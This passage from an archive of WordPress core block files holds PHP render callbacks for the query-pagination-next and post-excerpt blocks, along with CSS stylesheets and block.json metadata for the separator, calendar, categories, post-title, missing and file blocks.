register_block_type_from_metadata(
__DIR__ . '/post-featured-image',
array(
'render_callback' => 'render_block_core_post_featured_image',
)
);
}
add_action( 'init', 'register_block_core_post_featured_image' );
query-pagination-next.php 0000644 00000004713 15233103272 0011530 0 ustar 00 <?php
/**
* Server-side rendering of the `core/query-pagination-next` block.
*
* @package WordPress
*/
/**
* Renders the `core/query-pagination-next` block on the server.
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
*
* @return string Returns the next posts link for the query pagination.
*/
function render_block_core_query_pagination_next( $attributes, $content, $block ) {
$page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page';
$page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ];
$max_page = isset( $block->context['query']['pages'] ) ? (int) $block->context['query']['pages'] : 0;
$wrapper_attributes = get_block_wrapper_attributes();
$default_label = __( 'Next Page »' );
$label = isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ? $attributes['label'] : $default_label;
$content = '';
// Check if the pagination is for Query that inherits the global context.
if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) {
$filter_link_attributes = function() use ( $wrapper_attributes ) {
return $wrapper_attributes;
};
add_filter( 'next_posts_link_attributes', $filter_link_attributes );
// Take into account if we have set a bigger `max page`
// than what the query has.
global $wp_query;
if ( $max_page > $wp_query->max_num_pages ) {
$max_page = $wp_query->max_num_pages;
}
$content = get_next_posts_link( $label, $max_page );
remove_filter( 'next_posts_link_attributes', $filter_link_attributes );
} elseif ( ! $max_page || $max_page > $page ) {
$custom_query = new WP_Query( build_query_vars_from_query_block( $block, $page ) );
if ( (int) $custom_query->max_num_pages !== $page ) {
$content = sprintf(
'<a href="%1$s" %2$s>%3$s</a>',
esc_url( add_query_arg( $page_key, $page + 1 ) ),
$wrapper_attributes,
$label
);
}
wp_reset_postdata(); // Restore original Post Data.
}
return $content;
}
/**
* Registers the `core/query-pagination-next` block on the server.
*/
function register_block_core_query_pagination_next() {
register_block_type_from_metadata(
__DIR__ . '/query-pagination-next',
array(
'render_callback' => 'render_block_core_query_pagination_next',
)
);
}
add_action( 'init', 'register_block_core_query_pagination_next' );
separator/editor-rtl.css 0000644 00000002613 15233103272 0011343 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.block-editor-block-list__block[data-type="core/separator"] {
padding-top: 0.1px;
padding-bottom: 0.1px;
} separator/editor.css 0000644 00000002613 15233103272 0010544 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.block-editor-block-list__block[data-type="core/separator"] {
padding-top: 0.1px;
padding-bottom: 0.1px;
} separator/style-rtl.css 0000644 00000003443 15233103272 0011217 0 ustar 00 @charset "UTF-8";
/**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-separator {
border-top: 1px solid currentColor;
border-bottom: 1px solid currentColor;
}
.wp-block-separator.is-style-wide {
border-bottom-width: 1px;
}
.wp-block-separator.is-style-dots {
background: none !important;
border: none;
text-align: center;
width: none;
line-height: 1;
height: auto;
}
.wp-block-separator.is-style-dots::before {
content: "···";
color: currentColor;
font-size: 1.5em;
letter-spacing: 2em;
padding-left: 2em;
font-family: serif;
} separator/style.css 0000644 00000003464 15233103272 0010423 0 ustar 00 @charset "UTF-8";
/**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-separator {
border-top: 1px solid currentColor;
border-bottom: 1px solid currentColor;
}
.wp-block-separator.is-style-wide {
border-bottom-width: 1px;
}
.wp-block-separator.is-style-dots {
background: none !important;
border: none;
text-align: center;
width: none;
line-height: 1;
height: auto;
}
.wp-block-separator.is-style-dots::before {
content: "···";
color: currentColor;
font-size: 1.5em;
letter-spacing: 2em;
/*rtl:ignore*/
padding-left: 2em;
font-family: serif;
} separator/style-rtl.min.css 0000644 00000000636 15233103272 0012002 0 ustar 00 @charset "UTF-8";.wp-block-separator{border-top:1px solid;border-bottom:1px solid}.wp-block-separator.is-style-wide{border-bottom-width:1px}.wp-block-separator.is-style-dots{background:none!important;border:none;text-align:center;width:none;line-height:1;height:auto}.wp-block-separator.is-style-dots:before{content:"···";color:currentColor;font-size:1.5em;letter-spacing:2em;padding-left:2em;font-family:serif} separator/style.min.css 0000644 00000000636 15233103272 0011203 0 ustar 00 @charset "UTF-8";.wp-block-separator{border-top:1px solid;border-bottom:1px solid}.wp-block-separator.is-style-wide{border-bottom-width:1px}.wp-block-separator.is-style-dots{background:none!important;border:none;text-align:center;width:none;line-height:1;height:auto}.wp-block-separator.is-style-dots:before{content:"···";color:currentColor;font-size:1.5em;letter-spacing:2em;padding-left:2em;font-family:serif} separator/editor.min.css 0000644 00000000141 15233103272 0011320 0 ustar 00 .block-editor-block-list__block[data-type="core/separator"]{padding-top:.1px;padding-bottom:.1px} separator/block.json 0000644 00000001251 15233103272 0010526 0 ustar 00 {
"apiVersion": 2,
"name": "core/separator",
"title": "Separator",
"category": "design",
"description": "Create a break between ideas or sections with a horizontal separator.",
"keywords": [ "horizontal-line", "hr", "divider" ],
"textdomain": "default",
"attributes": {
"color": {
"type": "string"
},
"customColor": {
"type": "string"
}
},
"supports": {
"anchor": true,
"align": [ "center", "wide", "full" ]
},
"styles": [
{ "name": "default", "label": "Default", "isDefault": true },
{ "name": "wide", "label": "Wide Line" },
{ "name": "dots", "label": "Dots" }
],
"editorStyle": "wp-block-separator-editor",
"style": "wp-block-separator"
}
separator/editor-rtl.min.css 0000644 00000000141 15233103272 0012117 0 ustar 00 .block-editor-block-list__block[data-type="core/separator"]{padding-top:.1px;padding-bottom:.1px} post-excerpt.php 0000644 00000004600 15233103272 0007710 0 ustar 00 <?php
/**
* Server-side rendering of the `core/post-excerpt` block.
*
* @package WordPress
*/
/**
* Renders the `core/post-excerpt` block on the server.
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
* @return string Returns the filtered post excerpt for the current post wrapped inside "p" tags.
*/
function render_block_core_post_excerpt( $attributes, $content, $block ) {
if ( ! isset( $block->context['postId'] ) ) {
return '';
}
$more_text = ! empty( $attributes['moreText'] ) ? '<a class="wp-block-post-excerpt__more-link" href="' . esc_url( get_the_permalink( $block->context['postId'] ) ) . '">' . $attributes['moreText'] . '</a>' : '';
$filter_excerpt_more = function( $more ) use ( $more_text ) {
return empty( $more_text ) ? $more : '';
};
/**
* Some themes might use `excerpt_more` filter to handle the
* `more` link displayed after a trimmed excerpt. Since the
* block has a `more text` attribute we have to check and
* override if needed the return value from this filter.
* So if the block's attribute is not empty override the
* `excerpt_more` filter and return nothing. This will
* result in showing only one `read more` link at a time.
*/
add_filter( 'excerpt_more', $filter_excerpt_more );
$classes = '';
if ( isset( $attributes['textAlign'] ) ) {
$classes .= "has-text-align-{$attributes['textAlign']}";
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) );
$content = '<p class="wp-block-post-excerpt__excerpt">' . get_the_excerpt( $block->context['postId'] );
$show_more_on_new_line = ! isset( $attributes['showMoreOnNewLine'] ) || $attributes['showMoreOnNewLine'];
if ( $show_more_on_new_line && ! empty( $more_text ) ) {
$content .= '</p><p class="wp-block-post-excerpt__more-text">' . $more_text . '</p>';
} else {
$content .= " $more_text</p>";
}
remove_filter( 'excerpt_more', $filter_excerpt_more );
return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $content );
}
/**
* Registers the `core/post-excerpt` block on the server.
*/
function register_block_core_post_excerpt() {
register_block_type_from_metadata(
__DIR__ . '/post-excerpt',
array(
'render_callback' => 'render_block_core_post_excerpt',
)
);
}
add_action( 'init', 'register_block_core_post_excerpt' );
calendar/style.min.css 0000644 00000000631 15233103272 0010747 0 ustar 00 .wp-block-calendar{text-align:center}.wp-block-calendar tbody td,.wp-block-calendar th{padding:.25em;border:1px solid #ddd}.wp-block-calendar tfoot td{border:none}.wp-block-calendar table{width:100%;border-collapse:collapse}.wp-block-calendar table th{font-weight:400;background:#ddd}.wp-block-calendar a{text-decoration:underline}.wp-block-calendar table caption,.wp-block-calendar table tbody{color:#40464d} calendar/style-rtl.min.css 0000644 00000000631 15233103272 0011546 0 ustar 00 .wp-block-calendar{text-align:center}.wp-block-calendar tbody td,.wp-block-calendar th{padding:.25em;border:1px solid #ddd}.wp-block-calendar tfoot td{border:none}.wp-block-calendar table{width:100%;border-collapse:collapse}.wp-block-calendar table th{font-weight:400;background:#ddd}.wp-block-calendar a{text-decoration:underline}.wp-block-calendar table caption,.wp-block-calendar table tbody{color:#40464d} calendar/style.css 0000644 00000003374 15233103272 0010174 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-calendar {
text-align: center;
}
.wp-block-calendar th,
.wp-block-calendar tbody td {
padding: 0.25em;
border: 1px solid #ddd;
}
.wp-block-calendar tfoot td {
border: none;
}
.wp-block-calendar table {
width: 100%;
border-collapse: collapse;
}
.wp-block-calendar table th {
font-weight: 400;
background: #ddd;
}
.wp-block-calendar a {
text-decoration: underline;
}
.wp-block-calendar table tbody,
.wp-block-calendar table caption {
color: #40464d;
} calendar/block.json 0000644 00000000565 15233103272 0010306 0 ustar 00 {
"apiVersion": 2,
"name": "core/calendar",
"title": "Calendar",
"category": "widgets",
"description": "A calendar of your site’s posts.",
"keywords": [ "posts", "archive" ],
"textdomain": "default",
"attributes": {
"month": {
"type": "integer"
},
"year": {
"type": "integer"
}
},
"supports": {
"align": true
},
"style": "wp-block-calendar"
}
calendar/style-rtl.css 0000644 00000003374 15233103272 0010773 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-calendar {
text-align: center;
}
.wp-block-calendar th,
.wp-block-calendar tbody td {
padding: 0.25em;
border: 1px solid #ddd;
}
.wp-block-calendar tfoot td {
border: none;
}
.wp-block-calendar table {
width: 100%;
border-collapse: collapse;
}
.wp-block-calendar table th {
font-weight: 400;
background: #ddd;
}
.wp-block-calendar a {
text-decoration: underline;
}
.wp-block-calendar table tbody,
.wp-block-calendar table caption {
color: #40464d;
} categories/style-rtl.css 0000644 00000002614 15233103272 0011343 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-categories.alignleft {
margin-right: 2em;
}
.wp-block-categories.alignright {
margin-left: 2em;
} categories/editor.min.css 0000644 00000000125 15233103272 0011447 0 ustar 00 .wp-block-categories ul{padding-left:2.5em}.wp-block-categories ul ul{margin-top:6px} categories/editor-rtl.min.css 0000644 00000000126 15233103272 0012247 0 ustar 00 .wp-block-categories ul{padding-right:2.5em}.wp-block-categories ul ul{margin-top:6px} categories/block.json 0000644 00000001030 15233103272 0010646 0 ustar 00 {
"apiVersion": 2,
"name": "core/categories",
"title": "Categories",
"category": "widgets",
"description": "Display a list of all categories.",
"textdomain": "default",
"attributes": {
"displayAsDropdown": {
"type": "boolean",
"default": false
},
"showHierarchy": {
"type": "boolean",
"default": false
},
"showPostCounts": {
"type": "boolean",
"default": false
}
},
"supports": {
"align": true,
"html": false
},
"editorStyle": "wp-block-categories-editor",
"style": "wp-block-categories"
}
categories/editor-rtl.css 0000644 00000002602 15233103272 0011466 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-categories ul {
padding-right: 2.5em;
}
.wp-block-categories ul ul {
margin-top: 6px;
} categories/style.min.css 0000644 00000000140 15233103272 0011316 0 ustar 00 .wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em} categories/style-rtl.min.css 0000644 00000000140 15233103272 0012115 0 ustar 00 .wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em} categories/editor.css 0000644 00000002601 15233103272 0010666 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-categories ul {
padding-left: 2.5em;
}
.wp-block-categories ul ul {
margin-top: 6px;
} categories/style.css 0000644 00000002656 15233103272 0010552 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-categories.alignleft {
/*rtl:ignore*/
margin-right: 2em;
}
.wp-block-categories.alignright {
/*rtl:ignore*/
margin-left: 2em;
} post-title/style.css 0000644 00000002520 15233103272 0010517 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-post-title a {
display: inline-block;
} post-title/block.json 0000644 00000001503 15233103272 0010632 0 ustar 00 {
"apiVersion": 2,
"name": "core/post-title",
"title": "Post Title",
"category": "theme",
"description": "Displays the title of a post, page, or any other content-type.",
"textdomain": "default",
"usesContext": [ "postId", "postType", "queryId" ],
"attributes": {
"textAlign": {
"type": "string"
},
"level": {
"type": "number",
"default": 2
},
"isLink": {
"type": "boolean",
"default": false
},
"rel": {
"type": "string",
"attribute": "rel",
"default": ""
},
"linkTarget": {
"type": "string",
"default": "_self"
}
},
"supports": {
"align": [ "wide", "full" ],
"html": false,
"color": {
"gradients": true,
"link": true
},
"typography": {
"fontSize": true,
"lineHeight": true,
"__experimentalFontFamily": true
}
},
"style": "wp-block-post-title"
}
post-title/style-rtl.css 0000644 00000002520 15233103272 0011316 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-post-title a {
display: inline-block;
} post-title/style-rtl.min.css 0000644 00000000054 15233103272 0012100 0 ustar 00 .wp-block-post-title a{display:inline-block} post-title/style.min.css 0000644 00000000054 15233103272 0011301 0 ustar 00 .wp-block-post-title a{display:inline-block} missing/block.json 0000644 00000000775 15233103272 0010211 0 ustar 00 {
"apiVersion": 2,
"name": "core/missing",
"title": "Unsupported",
"category": "text",
"description": "Your site doesn’t include support for this block.",
"textdomain": "default",
"attributes": {
"originalName": {
"type": "string"
},
"originalUndelimitedContent": {
"type": "string"
},
"originalContent": {
"type": "string",
"source": "html"
}
},
"supports": {
"className": false,
"customClassName": false,
"inserter": false,
"html": false,
"reusable": false
}
}
file/block.json 0000644 00000002127 15233103272 0007450 0 ustar 00 {
"apiVersion": 2,
"name": "core/file",
"title": "File",
"category": "media",
"description": "Add a link to a downloadable file.",
"keywords": [ "document", "pdf", "download" ],
"textdomain": "default",
"attributes": {
"id": {
"type": "number"
},
"href": {
"type": "string"
},
"fileName": {
"type": "string",
"source": "html",
"selector": "a:not([download])"
},
"textLinkHref": {
"type": "string",
"source": "attribute",
"selector": "a:not([download])",
"attribute": "href"
},
"textLinkTarget": {
"type": "string",
"source": "attribute",
"selector": "a:not([download])",
"attribute": "target"
},
"showDownloadButton": {
"type": "boolean",
"default": true
},
"downloadButtonText": {
"type": "string",
"source": "html",
"selector": "a[download]"
},
"displayPreview": {
"type": "boolean"
},
"previewHeight": {
"type": "number",
"default": 600
}
},
"supports": {
"anchor": true,
"align": true
},
"viewScript": "file:./view.min.js",
"editorStyle": "wp-block-file-editor",
"style": "wp-block-file"
}
file/style.css 0000644 00000004043 15233103272 0007334 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-file {
margin-bottom: 1.5em;
}
.wp-block-file.aligncenter {
text-align: center;
}
.wp-block-file.alignright {
/*rtl:ignore*/
text-align: right;
}
.wp-block-file .wp-block-file__embed {
margin-bottom: 1em;
}
.wp-block-file .wp-block-file__button {
background: #32373c;
border-radius: 2em;
color: #fff;
font-size: 0.8em;
padding: 0.5em 1em;
}
.wp-block-file a.wp-block-file__button {
text-decoration: none;
}
.wp-block-file a.wp-block-file__button:hover, .wp-block-file a.wp-block-file__button:visited, .wp-block-file a.wp-block-file__button:focus, .wp-block-file a.wp-block-file__button:active {
box-shadow: none;
color: #fff;
opacity: 0.85;
text-decoration: none;
}
.wp-block-file * + .wp-block-file__button {
margin-left: 0.75em;
